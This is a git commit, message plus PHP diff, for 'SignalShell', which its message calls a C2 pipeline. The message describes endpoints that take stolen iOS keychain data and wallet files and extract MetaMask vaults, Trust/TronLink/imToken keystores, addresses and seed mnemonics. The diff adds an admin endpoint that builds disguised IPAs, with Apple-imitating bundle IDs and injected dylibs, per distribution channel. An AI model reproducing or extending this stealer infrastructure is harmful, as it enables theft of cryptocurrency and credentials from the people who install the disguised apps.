feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
This commit is contained in:
@@ -87,6 +87,7 @@ class ChannelController extends Controller
|
||||
'status' => (int) $c->status,
|
||||
'app_name' => $c->app_name ?: '',
|
||||
'bundle_id' => $c->bundle_id ?: '',
|
||||
'h5_url' => $c->h5_url ?: '',
|
||||
'links' => $c->supportLinks(),
|
||||
'landing_path' => $c->landingPath(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
@@ -240,6 +241,7 @@ class ChannelController extends Controller
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['required', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -277,6 +279,7 @@ class ChannelController extends Controller
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $data['bundle_id'],
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
});
|
||||
} catch (ValidationException $e) {
|
||||
@@ -301,6 +304,100 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* POST /admin/channels/build-app — Create App channel + build IPA.
|
||||
*
|
||||
* Creates the Channel record, then invokes AppPackageService to
|
||||
* generate a customized IPA (domain, channel ID, app name, logo).
|
||||
* Returns the download URL on success.
|
||||
*/
|
||||
public function buildApp(Request $request)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
// Double-check super admin (route middleware admin.super is primary guard)
|
||||
$admin = auth('admin')->user();
|
||||
abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['nullable', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||
if ($channelId === '') {
|
||||
$channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
$bundleId = trim((string) ($data['bundle_id'] ?? ''));
|
||||
if ($bundleId === '') {
|
||||
$bundleId = 'com.apple.mobile.MobileHouseArrest';
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_APP,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $bundleId,
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
|
||||
}
|
||||
|
||||
// Handle logo upload
|
||||
$logoPath = null;
|
||||
if ($request->hasFile('logo')) {
|
||||
$file = $request->file('logo');
|
||||
if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
|
||||
$logoPath = $file->getRealPath();
|
||||
}
|
||||
}
|
||||
|
||||
// Build IPA
|
||||
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||
|
||||
try {
|
||||
$service = app(\App\Services\AppPackageService::class);
|
||||
$result = $service->build($channel, $logoPath, $apiDomain);
|
||||
} catch (\Throwable $e) {
|
||||
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['success'] ? 0 : 1,
|
||||
'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']),
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'channel_id' => $channel->channel_id,
|
||||
'app_name' => $channel->app_name,
|
||||
'bundle_id' => $channel->bundle_id,
|
||||
'h5_url' => $channel->h5_url,
|
||||
'ipa_url' => $result['success'] ? $result['path'] : null,
|
||||
'ipa_size' => $result['size'],
|
||||
'api_domain' => $apiDomain,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an "old" builder channel — 32-hex channel id, static resources
|
||||
* under /web/{id}/ via the legacy channel-builder (new_project.py).
|
||||
@@ -422,9 +519,13 @@ class ChannelController extends Controller
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('h5_url', $data)) {
|
||||
$channel->h5_url = $data['h5_url'] ?: null;
|
||||
}
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
|
||||
Reference in New Issue
Block a user